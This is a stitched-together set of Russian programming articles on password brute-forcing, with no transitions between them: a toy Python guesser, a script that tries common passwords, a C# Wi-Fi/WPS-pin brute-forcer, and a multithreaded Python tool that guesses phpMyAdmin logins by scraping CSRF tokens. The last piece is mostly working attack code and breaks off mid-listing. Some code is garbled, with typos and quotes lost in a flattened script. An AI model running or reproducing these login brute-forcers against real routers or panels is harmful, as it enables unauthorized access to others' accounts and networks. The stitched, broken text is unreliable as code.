Как написать программу для подборов паролей

Кодинг
49,276

Перебор пароля Python

Сегодня понадобилось написать простой код для перебора случайно сгенерированных четырехзначных паролей, для «взлома». Естественно, пароль, который мы будем «взламывать», мы введем сами, в этой же программе, ведь я не хочу создавать скрипт для брута, а лишь хочу продемонстрировать новичкам в программировании, как должен работать подобный скрипт.

Еще по теме: Взлом WiFi на Python

Для начала надо выбрать язык. Я решил выбрать Python, так как он приятней глазу, и на нем будет проще объяснить, как работает процесс перебора паролей.

Итак, начнем. Какие модули нам необходимы? Только один — random! Импортируем его.

Далее, надо определиться с переменными. Нам нужны 6.

correctPassword = «1234» # Вводим пароль, который нужно забрутить

wrongPasswords = [] # В этот список будут добавляться уже подобранные пароли, чтобы не повторяться

password = «» # В эту переменную будет записываться сгенерированный пароль,  и, если он ложный, пойдет в wrongPassword

length = 4 # Длина пароля. Эта переменная нужна будет в будущем

chars = «1234567890»  # Символы, из которых будет генерироваться пароль.

run = True # Думаю, не стоит объяснять

Вот и все необходимые переменные.

Теперь необходимо создать цикл. В нем все и будет выполняться. Также добавим в него строчку для обнуления переменной password

Переходим к самому интересному — генерации и перебору паролей.

Сначала создадим цикл for, для генерации пароля. Тут нам и пригодится переменная length.

for i in range(length):

    password += random.choise(chars)

Теперь напишем код, который будет проверять, генерировала уже программа этот пароль, или нет. Ну и проверять, идентичен ли он правильному.

if password not in wrongPasswords:

    print(password)

    if password != correctPassword:

        wrongPasswords.append(password)

    else:

        run = False

        break

print(password + » is correct»)

Вот и все! Все работает!

Надеюсь, кому-то данная статья помогла, кому-то просто была интересна.

Весь код полностью:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

import random

correctPassword = «1234»

wrongPasswords = []

password = «»

length = 4

chars = «12e4567890»

run = True

while run:

    password = «»

    for i in range(length):

        password += random.choise(chars)

    if password not in wrongPasswords:

        if password != correctPassword:

            print(password)

            wrongPasswords.append(password)

        else:

            run = False

            break

print(password + » is correct»)

Еще по теме: Простой кейлоггер на Python

ВКонтакте

Twitter

Facebook

OK

Telegram

WhatsApp

Viber

«»» Password brute-force algorithm. List of most probable passwords and english names can be found, respectively, at: — https://github.com/danielmiessler/SecLists/blob/master/Passwords/probable-v2-top12000.txt — https://github.com/dominictarr/random-name/blob/master/middle-names.txt Author: Raphael Vallat Date: May 2018 Python 3 «»» import string from itertools import product from time import time from numpy import loadtxt def product_loop(password, generator): for p in generator: if ».join(p) == password: print(nPassword:’, ».join(p)) return ».join(p) return False def bruteforce(password, max_nchar=8): «»»Password brute-force algorithm. Parameters ———- password : string To-be-found password. max_nchar : int Maximum number of characters of password. Return —— bruteforce_password : string Brute-forced password «»» print(‘1) Comparing with most common passwords / first names’) common_pass = loadtxt(‘probable-v2-top12000.txt’, dtype=str) common_names = loadtxt(‘middle-names.txt’, dtype=str) cp = [c for c in common_pass if c == password] cn = [c for c in common_names if c == password] cnl = [c.lower() for c in common_names if c.lower() == password] if len(cp) == 1: print(nPassword:’, cp) return cp if len(cn) == 1: print(nPassword:’, cn) return cn if len(cnl) == 1: print(nPassword:’, cnl) return cnl print(‘2) Digits cartesian product’) for l in range(1, 9): generator = product(string.digits, repeat=int(l)) print(«t..%d digit» % l) p = product_loop(password, generator) if p is not False: return p print(‘3) Digits + ASCII lowercase’) for l in range(1, max_nchar + 1): print(«t..%d char» % l) generator = product(string.digits + string.ascii_lowercase, repeat=int(l)) p = product_loop(password, generator) if p is not False: return p print(‘4) Digits + ASCII lower / upper + punctuation’) # If it fails, we start brute-forcing the ‘hard’ way # Same as possible_char = string.printable[:-5] all_char = string.digits + string.ascii_letters + string.punctuation for l in range(1, max_nchar + 1): print(«t..%d char» % l) generator = product(all_char, repeat=int(l)) p = product_loop(password, generator) if p is not False: return p # EXAMPLE start = time() bruteforce(‘sunshine’) # Try with ‘123456’ or ‘751345’ or ‘test2018’ end = time() print(‘Total time: %.2f seconds’ % (end start))

Время на прочтение
7 мин

Количество просмотров 44K

Надежные и постоянно меняющиеся пароли — это здорово. Особенно когда они меняются и на Wi-Fi роутере и WPS на нем вообще отключен. В этом посте: сколько занимает перебор WPS pin и есть ли у этого практическое применение? А еще напишем программу для брутфорса на C#

Дисклеймер: информация представленная в публикации носит сугубо исследовательский характер для рассмотрения модели угрозы «брутфорс» (подбор пароля) с целью оценки защищенности тестового стенда и не является инструкцией к противоправным действиям. Исследование проводилось на тестовом стенде, состоящим из личного оборудования, не подключенного к сети интернет. Ответственность за противоправное использование полученной информации ложится на субъекта воспроизвевшего атаку не в исследовательских целях и против оборудования других субъектов.

Итак

Самый скучный но обязательный блок статьи позади, однако стоит вспомнить и про следующие статьи УК РФ:

  1. ст. 272 УК РФ. Неправомерный доступ к компьютерной информации

  2. ст. 273 УК РФ. Создание, использование и распространение вредоносных компьютерных программ

  3. ст. 138 УК РФ. Нарушение тайны переписки, телефонных переговоров, почтовых, телеграфных или иных сообщений

  4. ст. 159.6 УК РФ. Мошенничество в сфере компьютерной информации

Взламывать чужие Wi-Fi роутеры — это очень плохая идея.

Тем не менее, в качестве «proof of concept» попробуем воспроизвести брутфорс атаку на домашний роутер с использованием C#. Атака будет основана на использовании Native WiFi API и xml профилях.

Профили для Wi-Fi, на мой взгляд, заслуживает отдельной статьи и для меня стало большим удивлением, что существует получение профиля, например, прямо с сайта — об этом есть небольшая статья в документации Майкрософт. В кратце это работает так: xml с реквизитами для подключения подтягивается в системные настройки (а если точно, то в UWP приложение Настройки) и во всплывающем окне показывается какую сеть предлагается добавить. Как сказано в самой статье, это может быть использовано для добавления сети заранее, еще до посещения кафе/лаунджа/{you_name_it} где вещает сеть. Подробно элементы xml профиля описаны тут.

Атака будет производиться посредством генерации xml профиля в коде и его передачи в Native WiFi API — далее Windows выполнит попытку подключиться и, если удалось подобрать WPS pin, удачно использованный профиль останется в компьютере, а pin будет выведен на консоль.

Посмотреть уже существующие профили можно двумя способами: вручную и через консоль. Для ручного просмотра нужно зайти в C:ProgramDataMicrosoftWlansvcProfilesInterfaces и выбрать адаптер по его Id — узнать этот Id можно при небольшом дебаге подключаемой библиотеки или перебрав вручную. Для просмотра через консоль потребуются права администратора и пара команд — этот способ более удобен для точечного вытаскивания профиля к нужной сети:

netsh wlan show profile
netsh wlan export profile name="{Insert profile name}" folder=C:WlanProfiles

Чтобы не ошибиться со значениями и полями в xml профиле, можно сперва попытаться подключиться к атакуемой Wi-Fi сети с заведомо неправильным паролем — так Windows создаст xml файл за вас и далее останется лишь динамически подставлять пароли.

В примере xml профиль будет храниться в виде строки в коде и это не самый лучший подход к формированию xml, но его вполне хватит чтобы поиграться с попытками подключится к сети. На самом деле на сайте документации Майкрософт есть xsd схема по которой создаются xml профили, но почему-то в ней отсутствует секция «sharedKey», поэтому я решил хранить xml профиль просто строкой в коде как это описано на Stackoverflow. В целом для более «промышленного» решения можно сгенерировать классы через xsd.exe, но в конкретно этом случае придется сверяться с xml профилем атакуемой сети для поиска всех недостающих полей, так как вполне возможно что опубликованная xsd схема просто устарела.

С подобной атакой должен справиться любой Wi-Fi адаптер, но подбор пароля без стратегии и без параллелизации на несколько адаптеров займет много времени. Так перебор WPS pin одним адаптером и попыткой раз в 2 секунды может занять до 6.3 года или же до 2315 дней. Уместно будет вспомнить цитату, что «9 женщин не родят ребенка за месяц», ведь использование 9 адаптеров сократит подбор пароля до 257 дней — почти 9 месяцев :D

Шаг 1 — Подготовка решения

Для начала склониуйте проект ManagedWiFi — это обертка для доступа к сборке wlanapi.dll, которая даст доступ к Native WiFi API — последняя дает возможность просматривать состояние Wi-Fi адаптеров, сетей, и добавлять профили для подключения, что и будет использовано для воспроизведения атаки.

Здесь я отмечу, что в NuGet есть пакет ManagedWiFi, но во время подключения к Wi-Fi выпадало исключение — у меня это решилось ссылкой на скаченный проект, но может быть пакет заработает у вас с первого раза.

Далее создайте проект с консольным приложением и сделайте ссылку на проект ManagedWifi из скачанного репозитория либо добавьте одноименный пакет NuGet. Этот этап можно считать успешным, если получилось создать объект WlanClient, увидеть список адаптеров и вывести список доступных сетей:

WlanClient client = new ();
foreach (WlanClient.WlanInterface wlan in client.Interfaces)
{
  	wlan.Scan();
  	Wlan.WlanAvailableNetwork[] networks = wlan.GetAvailableNetworkList(0);
  	foreach (Wlan.WlanAvailableNetwork network in networks)
    {
      	string ssid = Encoding.Default.GetString(network.dot11Ssid.SSID);
      	Console.WriteLine(ssid);
    }
}

Шаг 2 — профиль для Wi-Fi

Профиль будет собираться из трех составляющих: название профиля, hex значение названия SSID и WPS pin c которым будет выполняться попытка подключения, а все остальные поля возьмем из xml профиля с которым ранее пытались подключиться к аналогичной сети. Для теста попробуем подключиться к сети с защитой WPA2PSK/AES, которую нашли выше:

string key = "00000001"; // А еще сюда можно вписать заранее (не)известный пароль
string profileName = Encoding.Default.GetString(network.dot11Ssid.SSID);
byte[] hexBytes = Encoding.Default.GetBytes(profileName);
string hex = BitConverter.ToString(hexBytes).Replace("-", "");

string profileXml = string.Format(
                "<?xml version="1.0"?><WLANProfile xmlns="http://www.microsoft.com/networking/WLAN/profile/v1"><name>{0}</name><SSIDConfig><SSID><hex>{1}</hex><name>{0}</name></SSID></SSIDConfig><connectionType>ESS</connectionType><connectionMode>manual</connectionMode><autoSwitch>false</autoSwitch><MSM><security><authEncryption><authentication>WPA2PSK</authentication><encryption>AES</encryption><useOneX>false</useOneX></authEncryption><sharedKey><keyType>passPhrase</keyType><protected>false</protected><keyMaterial>{2}</keyMaterial></sharedKey><keyIndex>0</keyIndex></security></MSM></WLANProfile>",
                profileName, hex, key);

Как было сказано в самом начале, на каждую попытку будет создаваться такой xml профиль, а уже существующий профиль для атакуемой сети будет перезаписываться. Далее при вызове метода Connect, будет передаваться имя профиля по которому нужно выполнить соединение:

try
{
  wlan.SetProfile(Wlan.WlanProfileFlags.AllUser, profileXml, true);
  wlan.Connect(Wlan.WlanConnectionMode.Profile, Wlan.Dot11BssType.Any, profileName);
  await Task.Delay(2 * 1000);
}
catch (Exception e)
{
  Console.WriteLine(e);
}

Шаг 3

Соберем все что получилось в одном месте и попробуем запустить:

using System.Text;
using NativeWifi;

// Берем первый попавшийся Wi-Fi адаптер
WlanClient client = new ();
WlanClient.WlanInterface wlan = client.Interfaces[0];
wlan.Scan();
Wlan.WlanAvailableNetwork[] networks = wlan.GetAvailableNetworkList(0);
if (networks.Length == 0)
{
  OutputExtensions.PrintRow("No networks found");
  return;
}

// Отбираем сеть по её названию
Wlan.WlanAvailableNetwork network = networks
        .FirstOrDefault(n => Encoding.Default.GetString(n.dot11Ssid.SSID) == "desired_network_name");

// Подготавливаем данные для создания профиля
string profileName = Encoding.Default.GetString(network.dot11Ssid.SSID);
byte[] hexBytes = Encoding.Default.GetBytes(profileName);
string hex = BitConverter.ToString(hexBytes).Replace("-", "");

// Перебираем значения WPS pin - максимум 8 цифр.
// Также же тут можно сделать перебор по словарю утекших паролей
for (int i = 0; i < 99999999; i++)
{
  string wpsPin = $"{i}";
  wpsPin = new string('0', 8 - wpsPin.Length) + wpsPin;
  Console.WriteLine($"Trying pin {wpsPin}");
	
  string profileXml = string.Format(
    "<?xml version="1.0"?><WLANProfile xmlns="http://www.microsoft.com/networking/WLAN/profile/v1"><name>{0}</name><SSIDConfig><SSID><hex>{1}</hex><name>{0}</name></SSID></SSIDConfig><connectionType>ESS</connectionType><connectionMode>manual</connectionMode><autoSwitch>false</autoSwitch><MSM><security><authEncryption><authentication>WPA2PSK</authentication><encryption>AES</encryption><useOneX>false</useOneX></authEncryption><sharedKey><keyType>passPhrase</keyType><protected>false</protected><keyMaterial>{2}</keyMaterial></sharedKey><keyIndex>0</keyIndex></security></MSM></WLANProfile>",
    profileName, hex, wpsPin);

  try
  {
    wlan.SetProfile(Wlan.WlanProfileFlags.AllUser, profileXml, true);
    wlan.Connect(Wlan.WlanConnectionMode.Profile, Wlan.Dot11BssType.Any, profileName);
    // Тут задается время ожидания для попытки
    // В моей конфигурации это 2 секунды, но
    // время придется подбирать вручную
    await Task.Delay(2 * 1000);
  }
  catch (Exception e)
  {
    Console.WriteLine(e);
  }

  if (wlan.CurrentConnection.isState == Wlan.WlanInterfaceState.Connected)
  {
    Console.WriteLine($"WPS pin is {wpsPin}");
    break;
  }

  Console.WriteLine($"WPS pin {wpsPin} did not work");
}

Вместо заключения

Как оказалось, написать программу для подбора WPS pin на C# можно, а кроме просто перебора цифр при небольших доработках можно даже перебрать пароли из файла.

Практического смысла в этой программе крайне мало, но как минимум что-то можно переиспользовать для обновления Wi-Fi профилей в корпоративных ноутбуках либо провести другой вид атаки и, например, заставить нужное устройство подключиться к «правильной» сети.

В свободном доступе давно существует aircrack-ng и при минимальных знаниях можно в разумное время подобрать пароль к сети просто следуя гайду. И помните: взламывать чужие Wi-Fi роутеры — это очень плохая идея.

Вступление

Доброго времени суток, коллеги, сегодня мы с вами будем писать небольшую программу для подбора паролей к панели авторизации на замечательном языке Python3.

Мы с вами постараемся придерживаться парадигмы ООП в ее самом простом виде, так как поддержка и расширение функционала даже в маленьком приложении без применения этого может стать весьма затруднительным делом.

Так же буду благодарен любой критике от товарищей, которые озвучат свой взгляд на код в целом и возможно помогут его улучшить, доработать.

Что же такое брутфорс атака? Как говорит нам один известный поисковик — брутфорсом называется метод взлома учетных записей путем перебора паролей к тому моменту, когда не кончится словарь или ключевое слово не будет признано системой, как истинное.

Термин образован от англоязычного словосочетания «brute force», означающего в переводе «грубая сила». Суть подхода заключается в последовательном автоматизированном переборе всех возможных комбинаций символов с целью рано или поздно найти правильную.

Алгоритм действий вкратце получается таким: мы отправлять какие-то данные на сервер, получаем ответ от сервера, проверяем устраивает-ли нас этот ответ и если нет, модифицируем данные и повторно отправляем уже изменённые, повторяем до тех пор пока ответ нас не устроит.

algoritm.png

Давайте посмотрим какие данные от нас ожидает панель входа PhpMyAdmin. Для этого откроем браузер, перейдем по URL-адресу ведущему нас к форме авторизации, откроем в браузере консоль разработчика и попробуем авторизоваться.

Screenshot_1.png

Как можем лицезреть, вход не удался, но зато мы получили важные сведения, а именно какой тип запроса, куда и с какими данными он должен быть направлен.

Честно признаться я понадеялся, что все же в ручном режиме смогу угадать пароль и еще совершил несколько неудачных попыток входа в систему, но заметил что параметр «set_session» и «token» меняются каждую попытку, будем решать и эту задачу и хватит лирических отступлений, пора переходить к делу.

Но перед тем как писать код, вначале создадим виртуальное окружение для удобной работы с нашим проектом, как это сделать я рассказывал в этой статье.

Нам понадобятся следующие библиотеки:

Код:

beautifulsoup4==4.9.1
bs4==0.0.1
certifi==2020.6.20
chardet==3.0.4
idna==2.10
lxml==4.5.2
requests==2.24.0
soupsieve==2.0.1
urllib3==1.25.9

Устанавливаем их:

Код:

pip install requests && pip install bs4 && pip install lxml

Обратите внимание что некоторые библиотеки поддерживаются только в Python3
Для чего они нужны и как мы их будем использовать вы увидите далее.

Теперь нам стоит определиться с архитектурой программы и с тем какие классы будем реализовывать.

  1. Нужно получить «set_session» и еще некоторые данные, а именно «token» и «server«.
  2. Механизм попытки авторизации.
  3. Получить аргументы командной строки (параметры такие как «имя пользователя», «url» и «лист паролей») которые введет пользователь нашей программы, дабы облегчить ему использования инструмента.
  4. Реализовать сам алгоритм перебора паролей.
  5. Реализуем многопоточность, да GIL, но мы же учимся !

Итого у нас получиться 5 классов:

  • TargetData — для получение данных от панели PhpMyAdmin.
  • PhpMyAdminAuthorization — с говорящим названием о том что он будет пытаться авторизоваться в PhpMyAdmin.
  • UserArgument — который будет работать с пользовательскими данными.
  • BruteForceAttack — как не удивительно, класс который будет реализовывать методы для брутфорса.
  • Threads — для методов реализации многопоточности.

Затем импортируем библиотеки:

Python:

import requests
import threading
import argparse
import time # тут скорее декоративна и не обязательна, но будет интересно посмотреть, с какой скоростью наша программа будет брутить.
from bs4 import BeautifulSoup as bs4

Первый раз, первый класс: объявляем класс и так же конструктор, говорим, что на входе этот класс будет принимать некую строковую переменную.

Далее немного библиотеки «requests» в которой говорится, что объект «Session» позволяет сохранять некоторые параметры в запросах и если мы делаем несколько запросов на один и тот же хост, базовое TCP-соединение будет использоваться повторно, что может привести к значительному увеличению производительности. Потом собственно делаем этот самый запрос и получаем исходный код странички куда обращались:

Python:

class TargetData:
    def __init__(self, php_my_admin_url: str):
        self.php_my_admin_url = php_my_admin_url
        self.authorization_session = requests.Session()
        self.gotten_html = self.authorization_session.get(self.php_my_admin_url)
        self.soup = bs4(self.gotten_html.content, 'lxml')

Далее добавим классу два метода, которые будут возвращать нам найденные в ранее полученном HTML строки, содержащие в себе «token» и «server».
Это может быть дублирующий себя код, но разделить на два метода я решил потому что:

  • Они возвращают разные данные.
  • Считаю что один метод, должен делать только что-то одно, если не прав, поправьте в комментариях.
  • Только нужные нам значения содержаться в одинаковых атрибутах HTML а может понадобиться и что то другое.

Python:

    def get_parse_csrf_token(self) -> str:
        csrf_token_value = self.soup.find('input', {'name': 'token'})['value']
        return csrf_token_value

    def get_parse_server(self) -> str:
        server_value = self.soup.find('input', {'name': 'server'})['value']
        return server_value

Python:

class TargetData:
    def __init__(self, php_my_admin_url: str):
        self.php_my_admin_url = php_my_admin_url
        self.authorization_session = requests.Session()
        self.gotten_html = self.authorization_session.get(self.php_my_admin_url)
        self.soup = bs4(self.gotten_html.content, 'lxml')

    def get_parse_csrf_token(self) -> str:
        csrf_token_value = self.soup.find('input', {'name': 'token'})['value']
        return csrf_token_value

    def get_parse_server(self) -> str:
        server_value = self.soup.find('input', {'name': 'server'})['value']
        return server_value

На этом с первым классом заканчиваем и переходим ко второму, объявляем класс и уже знакомый нам метод конструктора класса который будет принимать три строковых значения, это «url»,» user_name» и «user_password».

Наследуем от класса TargetData, дабы получить его свойства и методы и передаем ему значение переменной с говорящим названием «php_my_admin_url»:

Python:

class PhpMyAdminAuthorization(TargetData):
    def __init__(self, php_my_admin_url: str, user_name: str, user_password: str):
        super().__init__(php_my_admin_url=php_my_admin_url)
        self.user_name = user_name
        self.user_password = user_password

Теперь добавим этому классу сам метод авторизации в панели Phpmyadmin.
Создаем список с параметрами, сервер и токен берем из методов класса «TargetData» от которого мы и наследовались, отправляем данные методом пост и получаем результат, тут все просто:

Python:

    def login_attempt(self) -> str:
        authorization_data = {'pma_username': self.user_name, 'pma_password': self.user_password,
                              'server': self.get_parse_server(),
                              'target': 'index.php',
                              'token': self.get_parse_csrf_token()}

        request_authorization = self.authorization_session.post(self.php_my_admin_url, data=authorization_data)
        result_authorization = request_authorization.text
        return result_authorization

И добавим нашему классу «PhpMyAdminAuthorization» еще один метод, который будет возвращать нам, что же там вернулась в результате попытке авторизации. Этот метод будет возвращать булево значение «True» или «False» в зависимости от того, есть ли в результате авторизации строка «Cannot log in to the MySQL server», если нет, то «True» и «False» во всех остальных случаях.

Python:

    def get_result_authorization(self) -> bool:
        is_result_authorization = False
        failed_authorization_messages = f"Cannot log in to the MySQL server"
        if failed_authorization_messages not in self.login_attempt():
            is_result_authorization = True
        return is_result_authorization

Python:

class PhpMyAdminAuthorization(TargetData):
    def __init__(self, php_my_admin_url: str, user_name: str, user_password: str):
        super().__init__(php_my_admin_url=php_my_admin_url)
        self.user_name = user_name
        self.user_password = user_password

    def login_attempt(self) -> str:
        authorization_data = {'pma_username': self.user_name, 'pma_password': self.user_password,
                              'server': self.get_parse_server(),
                              'target': 'index.php',
                              'token': self.get_parse_csrf_token()}

        request_authorization = self.authorization_session.post(self.php_my_admin_url, data=authorization_data)
        result_authorization = request_authorization.text
        return result_authorization

    def get_result_authorization(self) -> bool:
        is_result_authorization = False
        failed_authorization_messages = f"Cannot log in to the MySQL server"
        if failed_authorization_messages not in self.login_attempt():
            is_result_authorization = True
        return is_result_authorization

Половина дела уже сделана, но теперь нужно будет морально подготовиться, потому что сейчас мы начнем реализовывать самый большой класс, который будет отвечать за взаимодействия пользователя с программой.

Объявляем класс, снова конструктор и куча методов которые инициализируются в конструкторе. Возможно дальше вы поймете меня, но я считаю, что если пользователь может взаимодействовать с приложением, значит он может и что-то в нем сломать. Поэтому я постарался написать хотя-бы немного проверок для тех аргументов, что будет передавать пользователь, давайте теперь пройдемся по этим методам:

Python:

class UserArgument:
    def __init__(self):
        self.user_settings_for_brute_force = argparse.ArgumentParser(
            description='Instructions for using the program')
        self.add_arguments()
        self.brute_force_settings = self.user_settings_for_brute_force.parse_args()
        self.target_for_attack = self.brute_force_settings.target
        self.check_valid_target_url()
        self.username = self.brute_force_settings.username
        self.check_valid_password_list()
        self.password_list = [str(password).strip('n') for password in self.brute_force_settings.password_list]
        self.number_threads = self.brute_force_settings.rate
        self.check_valid_type_rate()

Первый метод у нас «add_arguments()» и он очень прост, добавляет аргументы к объекту «настройки пользователя для брутфорса»:

Python:

    def add_arguments(self):
        self.user_settings_for_brute_force.add_argument('-t', '--target', default='http://172.18.12.12/phpmyadmin',
                                                        nargs='?',
                                                        help='Link to admin panel phpmyadmin '
                                                             'format: http://site.ru/phpmyadmin')

        self.user_settings_for_brute_force.add_argument('-u', '--username', default='phpmyadmin', nargs='?',
                                                        help='Database username.')

        self.user_settings_for_brute_force.add_argument('-p', '--password_list', default='10_random_pass', nargs='?',
                                                        help='The path to the file with passwords can be either sexual '
                                                             'or relative. There must be one password on one line.')

        self.user_settings_for_brute_force.add_argument('-r', '--rate', default='10', nargs='?',
                                                        help='The number of threads with which the program will start '
                                                             'working. The number of streams should not exceed '
                                                             'the number of passwords in your password list.')

Следующий метод «check_valid_target_url()» — проверяет является ли указанный пользователем URL-панелью PhpMyAdmin и если нет, заставляет его ввести корректный URL, а затем снова проверяет данные:

Python:

    def check_valid_target_url(self):
        try:
            TargetData(self.target_for_attack).get_parse_csrf_token()

        except TypeError:
            print('nThi's target not phpmyadmin paneln')
            self.target_for_attack = input('Enter the correct url: ')
            self.check_valid_target_url()

Далее пытаемся открыть файл пользователя с паролями, если это не удалось — просим указать корректный лист паролей и проверяем его на валидность вновь:

Python:

    def check_valid_password_list(self):
        try:
            self.brute_force_settings.password_list = open(f'{self.brute_force_settings.password_list}', 'r',
                                                           encoding='utf8')
        except FileNotFoundError:
            print('nCould not find filen')
            self.brute_force_settings.password_list = input('Enter the correct path to the file: ')
            self.check_valid_password_list()

Третий способ — это у нас проверка на корректность введенных потоков, если это значение состоит не из одних целых чисел или превышает количество паролей в листе, то просим задать этот параметр по новой:

Python:

    def check_valid_type_rate(self):
        if self.number_threads.isdigit() is not True or int(self.number_threads) > len(self.password_list) + 1:
            print('nGiven number of threads, not an integer or entered incorrectlyn')
            self.number_threads = input('Enter the correct number of threads: ')
            self.check_valid_type_rate()
        self.number_threads = int(self.number_threads)

Теперь добавим нашему классу «UserArgument» еще несколько методов, все они возвращают нам те или иные значения:

Python:

    def get_target_attack(self) -> str:
        return self.target_for_attack

    def get_username(self) -> str:
        return self.username

    def get_password_list(self) -> list:
        return self.password_list

    def get_number_threads(self) -> str:
        return self.number_threads

Python:

class UserArgument:
    def __init__(self):
        self.user_settings_for_brute_force = argparse.ArgumentParser(
            description='Instructions for using the program')
        self.add_arguments()
        self.brute_force_settings = self.user_settings_for_brute_force.parse_args()
        self.target_for_attack = self.brute_force_settings.target
        self.check_valid_target_url()
        self.username = self.brute_force_settings.username
        self.check_valid_password_list()
        self.password_list = [str(password).strip('n') for password in self.brute_force_settings.password_list]
        self.number_threads = self.brute_force_settings.rate
        self.check_valid_type_rate()

    def add_arguments(self):
        self.user_settings_for_brute_force.add_argument('-t', '--target', default='http://172.18.12.12/phpmyadmin',
                                                        nargs='?',
                                                        help='Link to admin panel phpmyadmin '
                                                             'format: http://site.ru/phpmyadmin')

        self.user_settings_for_brute_force.add_argument('-u', '--username', default='phpmyadmin', nargs='?',
                                                        help='Database username.')

        self.user_settings_for_brute_force.add_argument('-p', '--password_list', default='10_random_pass', nargs='?',
                                                        help='The path to the file with passwords can be either sexual '
                                                             'or relative. There must be one password on one line.')

        self.user_settings_for_brute_force.add_argument('-r', '--rate', default='10', nargs='?',
                                                        help='The number of threads with which the program will start '
                                                             'working. The number of streams should not exceed '
                                                             'the number of passwords in your password list.')

    def check_valid_target_url(self):
        try:
            TargetData(self.target_for_attack).get_parse_csrf_token()

        except TypeError:
            print('nThi's target not phpmyadmin paneln')
            self.target_for_attack = input('Enter the correct url: ')
            self.check_valid_target_url()

    def check_valid_password_list(self):
        try:
            self.brute_force_settings.password_list = open(f'{self.brute_force_settings.password_list}', 'r',
                                                           encoding='utf8')
        except FileNotFoundError:
            print('nCould not find filen')
            self.brute_force_settings.password_list = input('Enter the correct path to the file: ')
            self.check_valid_password_list()

    def check_valid_type_rate(self):
        if self.number_threads.isdigit() is not True or int(self.number_threads) > len(self.password_list) + 1:
            print('nGiven number of threads, not an integer or entered incorrectlyn')
            self.number_threads = input('Enter the correct number of threads: ')
            self.check_valid_type_rate()
        self.number_threads = int(self.number_threads)

    def get_target_attack(self) -> str:
        return self.target_for_attack

    def get_username(self) -> str:
        return self.username

    def get_password_list(self) -> list:
        return self.password_list

    def get_number_threads(self) -> str:
        return self.number_threads

Ух, с этим вроде бы закончили, теперь осталось написать логику самого скприпта и добавить многопоточности.
Объявляем класс «BruteForceAttack» и в конструктор кладем значение которые нам вернут методы из «UserArgument»:

Python:

class BruteForceAttack:
    def __init__(self):
        self.attack_target = user_setting.get_target_attack()
        self.username = user_setting.get_username()
        self.passwords_list = user_setting.get_password_list()

Затем напишем метод для цикличной попытки авторизации, этот способ принимает на вход два параметра, о них немного позже.

После замеряем время, а затем запускаем цикл, в котором количество итераций будет равно срезу из «self.passwords_list[от — до]».

В цикле создаем экземпляр класса «PhpMyAdminAuthorization» с параметрами, которые мы получили из класса «UserArgument» и если его метод «get_result_authorization()» вернет нам «True», то мы напечатаем найденные логин с паролем, а так же время, которое потребовалось на брут, если нет, то цикл продолжит свою работу:

Python:

    def start_attack(self, start_of_list: int, end_of_list: int):
        start_time = time.monotonic()
        list_one_thread = self.passwords_list[start_of_list:end_of_list]
        for password in list_one_thread:
            try:
                login_attempt_phpmyadmin = PhpMyAdminAuthorization(php_my_admin_url=f'{self.attack_target}/index.php',
                                                                   user_name=self.username, user_password=password)
                if login_attempt_phpmyadmin.get_result_authorization():
                    print(f'login: {login_attempt_phpmyadmin.user_name} |'
                          f' password: {login_attempt_phpmyadmin.user_password} ')
                    print(time.monotonic() - start_time)
            except IndexError:
                pass

Python:

class BruteForceAttack:
    def __init__(self):
        self.attack_target = user_setting.get_target_attack()
        self.username = user_setting.get_username()
        self.passwords_list = user_setting.get_password_list()

    def start_attack(self, start_of_list: int, end_of_list: int):
        start_time = time.monotonic()
        list_one_thread = self.passwords_list[start_of_list:end_of_list]
        for password in list_one_thread:
            try:
                login_attempt_phpmyadmin = PhpMyAdminAuthorization(php_my_admin_url=f'{self.attack_target}/index.php',
                                                                   user_name=self.username, user_password=password)
                if login_attempt_phpmyadmin.get_result_authorization():
                    print(f'login: {login_attempt_phpmyadmin.user_name} |'
                          f' password: {login_attempt_phpmyadmin.user_password} ')
                    print(time.monotonic() - start_time)
            except IndexError:
                pass

Остался еще

последний

(почти) штришок — многопоточность. Объявляем класс «Threads» и наследуем от класса «Thread» из библиотеки «Threading».
Опять эти свойства, начало и конец листа, для чего же они нам ? Терпение, скоро все станет понятно:

Python:

class Threads(threading.Thread):
    def __init__(self, start_of_list, end_of_list):
        threading.Thread.__init__(self)
        self.start_of_list = start_of_list
        self.end_of_list = end_of_list

А пока добавим метод «run()», который будет вызывать класс «BruteForceAttack» экземпляр, которого мы создадим уже скоро:

Python:

def run(self):
    brute_force_attack.start_attack(self.start_of_list, self.end_of_list)

Python:

class Threads(threading.Thread):
    def __init__(self, start_of_list, end_of_list):
        threading.Thread.__init__(self)
        self.start_of_list = start_of_list
        self.end_of_list = end_of_list

    def run(self):
        brute_force_attack.start_attack(self.start_of_list, self.end_of_list)

По ходу написания статьи я понял, что стоит добавить еще один класс который назвал «StartProgram« с методом «main()».
Вот он:

Python:

class StartProgram:
    def __init__(self):
        self.number_threads = int(user_setting.get_number_threads())
        self.length_password_list = len(user_setting.get_password_list())

    def main(self):
        start_list = 0
        max_list = self.length_password_list // self.number_threads
        for i in range(self.number_threads):
            thread = Threads(start_list, max_list)
            start_list = max_list
            max_list = start_list + self.length_password_list // self.number_threads
            thread.start()

А теперь поговорим о тех самых непонятных переменных «start_of_list» и «end_of_list» из класса «Threads».
В конструкторе класса «StartProgram» мы объявляем две переменные одна из которых является «integer» значением, которое нам возвращает метод «get_number_threads()» класса «UserArgument».

А вторая длинной значения которое возвращает его же метод «get_password_list()»
Дальше в методе «main()» класса «StartProgram» происходит некоторая магия, в цикле создается экземпляр класса Threads с параметрами 0 и количество паролей деленное на количество потоков.

Это работает следующим образом, допустим, что у нас в списке паролей 100 строк и мы запустили программу в 10 потоков, то в первую итерацию цикла метода «main() Threads» будет запущен с аргументами(0,10) во вторую (10,20) и т.д.
Далее в классе «Threads» будет вызван поток для объекта «brute_force_attack». Таким образом в первом потоке будут перебираться пароли с 1 строки по 9, а во втором потоке пароли из списка с 10 по 19 строку и так далее.

Ну и финальный стук по клавиатуре, создаем объекты классов и запускаем программу:

Python:

if __name__ == '__main__':
    user_setting = UserArgument()
    brute_force_attack = BruteForceAttack()
    StartProgram().main()

И по традиции весь код целиком:

Python:

import requests
import threading
import argparse
import time
from bs4 import BeautifulSoup as bs4

class TargetData:
    def __init__(self, php_my_admin_url: str):
        self.php_my_admin_url = php_my_admin_url
        self.authorization_session = requests.Session()
        self.gotten_html = self.authorization_session.get(self.php_my_admin_url)
        self.soup = bs4(self.gotten_html.content, 'lxml')

    def get_parse_csrf_token(self) -> str:
        csrf_token_value = self.soup.find('input', {'name': 'token'})['value']
        return csrf_token_value

    def get_parse_server(self) -> str:
